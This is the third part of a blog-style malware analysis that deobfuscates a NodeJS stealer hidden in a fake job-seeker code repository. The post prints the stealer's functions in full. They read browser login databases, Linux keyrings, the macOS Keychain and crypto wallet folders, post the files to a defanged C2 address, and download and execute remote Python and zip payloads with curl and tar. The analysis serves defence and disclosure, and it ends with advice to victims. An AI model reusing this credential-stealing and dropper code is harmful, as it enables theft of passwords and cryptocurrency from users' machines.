This is the third part of dissecting the obfuscated NodeJS code. Just in case you missed
1. Part 1, you can read it here: https://tintinnya.com/2024/09/suspicious-code-repository-for-job-seeker-part-1/ and
2. Part 2 here: https://tintinnya.com/2024/10/suspicious-code-repository-for-job-seeker-part-2/
Function P(), ot(), rt() are called if the victim is using ‘linux’ platform.
Section 3.1.2 function P()
Let’s see what is this function do
P = async () => {
let a4 = [];
try {
let a6 = "";
a6 = "" + require("os").homedir() + "/.local/share/keyrings/";
let a7 = [];
if (a6 && "" !== a6 && y(a6)) try {
a7 = require("fs").readdirSync(a6);
} catch (a8) {
a7 = [];
}
a7.forEach(async a9 => {
pa = require("path").join(a6, a9);
try {
ldb_data.push({"value": require("fs").createReadStream(pa), "options": {"filename": "" + a9}});
} catch (aa) {}
});
} catch (a9) {}
return H(a4), a4;
}
At glance, this function is reading the keyrings data folder that stores credentials used in Linux, including wifi password, saved passwords from Chromium browsers and Firefox, etc. But the strange stuff is, the array variable a4 that is used to store the content of the files is never being used or assigned. Instead, the array name ldb_data is being used. The variable ldb_data never been introduced or declared, and I believe that the line ldb_data.push() is triggering exception that is caught by catch(aa) statement that is doing nothing. Hence this function is technically sending an empty array to hxxp://147[.]124.214.129:1244/uploads
using POST method. I’m guessing that ldb_data refers to local database, that forgot or missed to be obfuscated?
Section 3.1.3 function ot()
This is the ot() function:
ot = async () => {
let a4 = [];
try {
let a7 = "";
if (a7 = "" + require("os").homedir() + "/.config/" + "google-chrome", !a7 || "" === a7 || !y(a7)) return [];
for (let a8 = 0; a8 < 200; a8++) {
const a9 = a7 + "/" + (0 === a8 ? "Default" : "Profile" + " " + a8) + "/" + "Login Data";
try {
if (!y(a9)) continue;
const aa = a7 + "/ld_" + a8;
y(aa) ? a4.push({"value": require("fs").createReadStream(aa), "options": {"filename": "plld_" + a8}})
: require("fs").copyFile(a9, aa, ab => {
let ac = [{"value": require("fs").createReadStream(a9), "options": {"filename": "plld_" + a8}}];
H(ac);
});
} catch (ab) {}
}
} catch (ac) {}
return H(a4), a4;
}
This is still enumerating folders of older versions of Google Chrome in Linux and looking for saved password in any of these folders:
- /home/username/.config/google-chrome/Default/Login Data/
- /home/username/.config/google-chrome/ld_0
- /home/username/.config/google-chrome/Profile 1/Login Data/
- /home/username/.config/google-chrome/ld_1
- …
- /home/username/.config/google-chrome/Profile 199/Login Data/
- /home/username/.config/google-chrome/ld_199
And send the data inside the array to hxxp://147[.]124.214.129:1244/uploads
using POST method.
Section 3.1.4 function rt()
The content of function rt() is:
rt = async () => {
let a4 = [];
try {
let a8 = "";
if (a8 = "" + require("os").homedir() + "/.mozilla/firefox/", a8 && "" !== a8 && y(a8)) for (let a9 = 0; a9 < 200; a9++) {
const aa = 0 === a9 ? "Default" : "Profile" + " " + a9;
try {
const ab = a8 + "/" + aa + "/" + "key4.db";
y(ab) && a4.push({"value": require("fs").createReadStream(ab), "options": {"filename": "flk4_" + a9}});
} catch (ac) {}
try {
const ad = a8 + "/" + aa + "/" + "key3.db";
y(ad) && a4.push({"value": require("fs").createReadStream(ad), "options": {"filename": "flk3_" + a9}});
} catch (ae) {}
try {
const af = a8 + "/" + aa + "/" + "logins.json";
y(af) && a4.push({"value": require("fs").createReadStream(af), "options": {"filename": "fllj_" + a9}});
} catch (ag) {}
}
} catch (ah) {}
return H(a4), a4;
}
This is still enumerating folders of Mozilla Firefox in Linux and looking for saved password in any of these folders:
- /home/username/.mozilla/firefox/Default/key4.db
- /home/username/.mozilla/firefox/Default/key3.db
- /home/username/.mozilla/firefox/Default/logins.json
- /home/username/.mozilla/firefox/Profile 1/key4.db
- /home/username/.mozilla/firefox/Profile 1/key3.db
- /home/username/.mozilla/firefox/Profile 1/logins.json
- …
- /home/username/.mozilla/firefox/Profile 199/key4.db
- /home/username/.mozilla/firefox/Profile 199/key3.db
- /home/username/.mozilla/firefox/Profile 199/logins.json
And send the data inside the array to hxxp://147[.]124.214.129:1244/uploads
using POST method. In Mozilla Firefox, the password is stored in logins.json, and the key that encrypts the data is stored in key4.db. While the key3.db is the older version of stored password mechanism.
Section 3.1.5 Function for ‘darwin’
Let’s take a look at this function. In case you missed it, this is the structure still inside the function M() after calling function S():
- If win32 then get 13 browsers extensions from Microsoft Edge
- else if linux then call function P(), ot(), and rt()
- else if darwin then do this function, D() and lt()
"d" == pl[0] && (await (async () => {
let a5 = [];
if (pa = "" + require("os").homedir() + "/Library/Keychains/login.keychain", require("fs").existsSync(pa)) try {
a5.push({
"value": require("fs").createReadStream(pa),
"options": {
"filename": "logkc-db"
}
});
} catch (a9) {} else {
if (pa += "-db", require("fs").existsSync(pa)) try {
a5.push({
"value": require("fs").createReadStream(pa),
"options": {
"filename": "logkc-db"
}
});
} catch (aa) {}
}
try {
let ac = "";
if (ac = "" + require("os").homedir() + "/Library/Application Support/" + "Google/Chrome", ac && "" !== ac && y(ac))
for (let ad = 0; ad < 200; ad++) {
const ae = ac + "/" + (0 === ad ? "Default" : "Profile" + " " + ad) + "/" + "Login Data";
try {
if (!y(ae)) continue;
const af = ac + "/ld_" + ad;
y(af) ? a5.push({
"value": require("fs").createReadStream(af),
"options": {
"filename": "pld_" + ad
}
}) : require("fs").copyFile(ae, af, ag => {
let ah = [{
"value": require("fs").createReadStream(ae),
"options": {
"filename": "pld_" + ad
}
}];
H(ah);
});
} catch (ag) {}
}
} catch (ah) {}
return H(a5), a5;
})(),
await D(),
await lt()
)
This function search stored password in
- /Users/username/Library/Keychains/login.keychain
- /Users/username/Library/Keychains/login.keychain-db
- /Users/username/Library/Application Support/Google/Chrome/Default/Login Data/
- /Users/username/Library/Application Support/Google/Chrome/ld_0
- /Users/username/Library/Application Support/Google/Chrome/Profile 1/Login Data/
- /Users/username/Library/Application Support/Google/Chrome/ld_1
- …
- /Users/username/Library/Application Support/Google/Chrome/Profile 199/Login Data/
- /Users/username/Library/Application Support/Google/Chrome/ld_199
And send the data inside the array to hxxp://147[.]124.214.129:1244/uploads
using POST method.
Section 3.1.5.1 function D()
This is the content of function D():
D = async () => {
let a4 = [];
try {
let a7 = "";
if (a7 = "" + require("os").homedir() + "/Library/Application Support/" + "BraveSoftware/Brave-Browser", !a7 || "" === a7 || !y(a7)) return [];
let a8 = 0;
for (; a8 < 200;) {
const a9 = a7 + "/" + (0 !== a8 ? "Profile" + " " + a8 : "Default") + "/" + "Login Data";
try {
if (y(a9)) {
const aa = a7 + "/brld_" + a8;
y(aa) ? a4.push({"value": require("fs").createReadStream(aa), "options": {"filename": "brld_" + a8}}) : require("fs").copyFile(a9, aa, ab => {
let ac = [{"value": require("fs").createReadStream(a9), "options": {"filename": "brld_" + a8}}];
H(ac);
});
}
} catch (ab) {}
a8++;
}
} catch (ac) {}
return H(a4), a4;
}
I remember that there was an execution of S(q,1) that is stealing the 13 browser extensions for ‘win32’, ‘darwin’, and ‘linux’, of course with the proper path location. But above is intended to be executed in any platforms, but looking for folder /Library/Application Support/BraveSoftware/Brave-Browser. Judging from this folder structure, it is only intended to targeting ‘darwin’, that copying these folders
- /Users/username/Library/Application Support/BraveSoftware/Brave-Browser/Default/Login Data
- /Users/username/Library/Application Support/BraveSoftware/Brave-Browser/Profile 1/Login Data
- …
- /Users/username/Library/Application Support/BraveSoftware/Brave-Browser/Profile 199/Login Data
- /Users/username/Library/Application Support/BraveSoftware/Brave-Browser/brld_0
- …
- /Users/username/Library/Application Support/BraveSoftware/Brave-Browser/brld_199
And as usual, send them to the aforementioned C2 server.
Section 3.1.5.2 function lt()
Continue to observe the function lt()
lt = async () => {
let a4 = [];
try {
let a8 = "";
if (a8 = "" + require("os").homedir() + "/Library/Application Support/" + "Firefox", a8 && "" !== a8 && y(a8)) for (let a9 = 0; a9 < 200; a9++) {
const aa = 0 === a9 ? "Default" : "Profile" + " " + a9;
try {
const ab = a8 + "/" + aa + "/" + "key4.db";
y(ab) && a4.push({"value": require("fs").createReadStream(ab), "options": {"filename": "fk4_" + a9}});
} catch (ac) {}
try {
const ad = a8 + "/" + aa + "/" + "key3.db";
y(ad) && a4.push({"value": require("fs").createReadStream(ad), "options": {"filename": "fk3_" + a9}});
} catch (ae) {}
try {
const af = a8 + "/" + aa + "/" + "logins.json";
y(af) && a4.push({"value": require("fs").createReadStream(af), "options": {"filename": "flj_" + a9}});
} catch (ag) {}
}
} catch (ah) {}
return H(a4), a4;
}
Previously, function rt() do the job to steal all Mozilla Firefox data under Linux platform, now this lt() do the stealing for all Mozilla Firefox data under macOS
- /Users/username/Library/Application Support/Firefox/Default/key4.db
- /Users/username/Library/Application Support/Firefox/Default/key3.db
- /Users/username/Library/Application Support/Firefox/Default/logins.json
- /Users/username/Library/Application Support/Firefox/Profile 1/key4.db
- /Users/username/Library/Application Support/Firefox/Profile 1/key3.db
- /Users/username/Library/Application Support/Firefox/Profile 1/logins.json
- …
- /Users/username/Library/Application Support/Firefox/Profile 199/key4.db
- /Users/username/Library/Application Support/Firefox/Profile 199/key3.db
- /Users/username/Library/Application Support/Firefox/Profile 199/logins.json
Section 3.1.6 function I()
The next part is calling await I(K, n(ct)), await I(tt, n(at)). Let’s see what is inside function I()
I = async (a4, a5) => {
try {
const a6 = s("~/");
let a7 = "";
a7 = "d" == pl[0]
? "" + require("os").homedir() + "/Library/Application Support/" + n(a4)
: "l" == pl[0]
? "" + require("os").homedir() + "/.config/" + n(a4)
: "" + require("os").homedir() + "/AppData/" + "Roaming/" + n(a4),
await $t(a7, a5);
} catch (a8) {}
}
await I(K, n(ct)) // await I("Exodus/exodus.wallet","exod")
await I(tt, n(at)) // await I("atomic/Local Storage/leveldb","atmc")
This is just ordinary path preparation to get application settings for ‘darwin’,’linux’ and else, which I assume ‘win32’ even ‘aix’ is still in possibility. Then it calls function $t(). We will talk about this function $t(). But for sure, the two function calls to I() are targeting the Exodus wallet and atomic wallet.
Section 3.1.6.1: function $t()
Take a look at this function:
$t = async (a4, a5) => {
let a6 = [];
if (!a4 || "" === a4) return [];
try {
if (!y(a4)) return [];
} catch (a7) {
return [];
}
a5 || (a5 = "");
try {
far = require("fs").readdirSync(a4), far.forEach(async a8 => {
let a9 = require("path").join(a4, a8);
try {
a6.push({"options": {"filename": a5 + "_" + a8}, "value": require("fs").createReadStream(a9)});
} catch (aa) {}
});
} catch (a8) {}
return H(a6), a6;
}
This is just regular copying content of the folder prepared by function I previously and have it sent to the aforementioned C2 server.
Section 3.2: function ut()
After calling those M() functions, the ut() function is called. This is the content of the ut():
ut = async () => await new Promise((a4, a5) => {
if ("w" != pl[0]) (() => {
ac = "" + "hxxp://147[.]124.214.129:1244" + "/client" + "/" + "s2DzOA8",
ad = "" + require("os").homedir() + "/.npl";
let ae = "python3 '"' + ad + '"',
af = "python" + ' "' + ad + '"';
require("request").get(ac, (__err, __res, __body) => {
__err || (require("fs").writeFileSync(ad, __body),
require("child_process").exec(ae, (_err, _stdout, _stderr) => {
_err && require("child_process").exec(af, (_err, _stdout, _stderr) => {});
}));
});
})();
else require("fs").existsSync("" + ("" + require("os").homedir() + "\.pyp\python.exe"))
? (() => {
ab = "" + "hxxp://147[.]124.214.129:1244" + "/client" + "/" + "s2DzOA8",
ac = "" + require("os").homedir() + "/.npl",
ad = '"' + require("os").homedir() + "\.pyp\python.exe" + " " + require("os").homedir() + "/.npl" + '"';
try {
require("fs").rmSync(ac);
} catch (ae) {}
require("request").get(ab, (af, ag, ah) => {
if (!af) try {
require("fs").writeFileSync(ac, ah), require("child_process").exec(ad, (ai, aj, ak) => {});
} catch (ai) {}
});
})()
: Zt();
});
The outline for this function is:
- if not ‘win32’, then execute this routine not_win32:
- GET
hxxp://147[.]124.214.129:1244/client/s2DzOA8
- write the output to
/Users/username/.npl
- execute
python3 /Users/username/.npl
- if failed, the execute
python /Users/username/.npl
- GET
- else if there is
C:\Users\username\.pyp\python.exe
then execute this routine win32_python:- delete
C:\Users\username/.npl
- GET
hxxp://147[.]124.214.129:1244/client/s2DzOA8
- write the output to
C:\Users\username/.npl
- execute
C:\Users\username\.pyp\python.exe C:\Users\username/.npl
- delete
- else execute Zt()
Section 3.2.1: function Zt()
Little bit complex, but this is the function Zt():
let st = 0;
const ht = 51476592;
Zt = () => {
if (st >= ht + 4) return;
a6 = require("os").tmpdir() + "\\" + "p.zi"),
a7 = require("os").tmpdir() + "\\" + "p2.zip",
a8 = "" + "hxxp://147[.]124.214.129:1244" + "/pdown",
if (require("fs").existsSync(a6)) try {
var ab = require("fs").statSync(a6);
ab.size >= ht + 4
? (st = ab.size, require("fs").rename(a6, a7, ac => {
if (ac) throw ac;
et(a7);
}))
: (st >= ab.size
? (require("fs").rmSync(a6), st = 0)
: st = ab.size, bt()
);
} catch (ac) {} else {
const ad = "curl -Lo" + ' "' + a6 + '" "' + a8 + '"';
require("child_process").exec(ad, (ae, af, ag) => {
if (ae) return st = 0, void bt();
try {
st = ht + 4, require("fs").renameSync(a6, a7), et(a7);
} catch (ah) {}
});
}
}
There are 2 other functions inside this bt() and et(), and to make Zt() readable, these are the functions:
const et = async a4 => {
require("child_process").exec("tar -xf" + " " + a4 + " -C " + require("os").homedir(), (a6, a7, a8) => {
if (a6) return require("fs").rmSync(a4), void (st = 0);
require("fs").rmSync(a4), ut();
});
}
function bt() { // pause for 20 seconds, then call the Zt() again
setTimeout(() => {
Zt();
}, 2e4);
}
Using those 2 functions, then this is the outline of this function, remember this is for platform ‘win32’:
- If st >= 51,476,596 exit from this function
- If file
C:\Users\username\\p.zi
exists, then- get metadata file of
C:\Users\username\\p.zi
- if file size >= 51,476,596 bytes
- st = file size of
C:\Users\username\\p.zi
- rename
C:\Users\username\\p.zi
toC:\Users\username\\p2.zip
- using function et(), it executes
tar -xf C:\Users\username\\p2.zip -C C:\Users\username
- if extracting this file is failed, delete the
C:\Users\username\\p2.zip
file, and return st = 0 - else delete the
C:\Users\username\\p2.zip
file, and execute ut() as mentioned in section 3.2 above.
- st = file size of
- else if file size >= 51,476,592 bytes then
- delete
C:\Users\username\\p.zi
, set st = 0
- delete
- else st = 51,476,592 bytes, execute bt() that is pause for 20 seconds, then execute Zt() again.
- get metadata file of
- else execute
curl -Lo C:\Users\username\\p.zi hxxp://147[.]124.214.129:1244/pdown
,- if error then return st = 0, execute bt() that is pause for 20 seconds, then execute Zt() again.
- rename
C:\Users\username\\p.zi
toC:\Users\username\\p2.zip
- using function et(), it executes
tar -xf C:\Users\username\\p2.zip -C C:\Users\username
Section 4: variable yt
The last line:
let yt = setInterval(() => { (Gt += 1) < 4 ? it() : clearInterval(yt); }, 6e5);
- It pause for 6 x 10^5 ms = 600 seconds = 10 minutes, then execute function it(), discussed on Section 3 in Part 2.
- Then pause again for 10 minutes, execute function it(),
- Then pause again for 10 minutes, execute function it(),
- Then pause again for 10 minutes, then stop
Final Concolusions
Ok, so here’s the story what this second dropper.
- Call constructor to ensure that the instance is only run once
- Steal these information from all profiles in Google Chrome (including older version), Brave, Opera either on Linux, Apple MacOs, Microsoft Windows, then upload them to
hxxp://147[.]124.214.129:1244/uploads
- CryptoWallet
- Metamask.io
- ejbalbakoplchlghecdalmeeeajnimhm –> ?
- TronLink
- BNB Chain Wallet
- Coinbase Wallet extension
- Phantom
- Coin98 Wallet
- Trust Wallet
- Crypto.com | Onchain Extension
- Exodus Web3 Wallet
- OKX Wallet
- Bybit Wallet
- Authenticator
- CryptoWallet
- Steal these information from current active profiles in Microsoft Edge on Microsoft Windows, then upload them to
hxxp://147[.]124.214.129:1244/uploads
- Try to steal Operating System saved passwords:
- Linux Keyrings,
- Steal Apple macOS Keychain (including old format)
- Steal web browser saved passwords:
- Mozilla Firefox
- Google Chrome
- Brave
- Steal this information from all OS
- Download
hxxp://147[.]124.214.129:1244/client/s2DzOA8
as/Users/username/.npl
and execute it with eitherpython3
orpython
orC:\Users\username\.pyp\python.exe
- Download
hxxp://147[.]124.214.129:1244/pdown
using commandcurl -Lo
and save it asC:\Users\username\\p.zi
- If the file size is less than 51,476,592 bytes then delete it and wait 20 seconds to download it again
- Rename it from
C:\Users\username\\p.zi
toC:\Users\username\\p2.zip
- Extract
C:\Users\username\\p2.zip
usingtar -xf
and save the extracted files inC:\Users\username
- Pause for 10 minutes, and repeat 3 times from the step number 1
- Done

Unfortunately,
I could not get the files from hxxp://147[.]124.214.129:1244/client/s2DzOA8
and hxxp://147[.]124.214.129:1244/pdown
because the IP address was taken down, perhaps by the malware creator.
I was doing this analysis on my free time only while there were several external audits (yeah, excuses…). The .npl file is the python file that was detected as malicious by Microsoft Defender in Hynzo’s VM as Trojan:Python/Malgent.HNAA!MTB. While the second file perhaps it is the \.pyp\python.exe file that is needed to execute this .npl file. But, I still wondering: who would install curl and tar in win32? Developers! That’s right, Developers are already targeted. Because without curl and tar, this section won’t work.
These two files .npl and p.zi are the real payload that might harm the victim’s computer after stealing the informations in the computer. And it also discussed in Reddit https://www.reddit.com/r/MalwareAnalysis/comments/1eydbez/trojanpythonmalgenthnaamtb/?rdt=45639 eventho no one still got the clue what was that warning for.
But, if you see the alert from Microsoft Defender similar with Hynzo’s screencapture, then actually, your saved data already copied to C2 server. Go ahead change all of your saved passwords, change the 2FA TOTP, and empty your wallet by transferring to another account. You don’t know how fast the stealer’s computer can break those encryption. You’d better have long and strong password for those master keys for your stored password, eh?
I also spoke to Hynzo again whether the missing python files and compressed zip file were still in the VM. But unfortunately the rmsync command already deleted those files. It is still possible to recover this deletion process by malware or malicious code using Digital Forensics techniques, but transferring files of VM from Hynzo which might be more than 5 GB, that is not practical.
Key Takeaways #6
Race with the malware creator, do it fast, evaluate and download everything as fast as possible. Do not delay. No excuses.
So, if you or you know your friends or your friend of your friend having this same near hacked experiences, please let me know. I’d be happy to help you to analyze the obfuscated code, or reverse engineer the binary code.
Hopefully, by reading my articles could give you ideas on how to deobfuscate malicious code and encourage you not simply skeptical with the obfuscation. Here’s the final function call from index.js file from repository until the missing 2 files.
And this is the final timeline (in GMT+7):
2024-09-07 02:34:20 Suspicious Repo was committed for the first time
2024-09-10 23:49:xx Executed code was flagged by Hynzo's Microsoft Defender-ed VM
2024-09-11 05:08:xx Cyvers Alerts notified INDODAX about the suspicious transactions
2024-09-21 16:33:11 CEO INDODAX interview was aired
2024-09-22 19:26:xx Hynzo tweeted the story
2024-09-25 09:32:47 I cloned the repo
2024-09-25 11:06:22 I checked with hybrid-analysis.com
2024-10-04 21:45:47 Half analyzed test.js
2024-10-13 19:47:58 Fully analyzed test.js, but the IP address is already down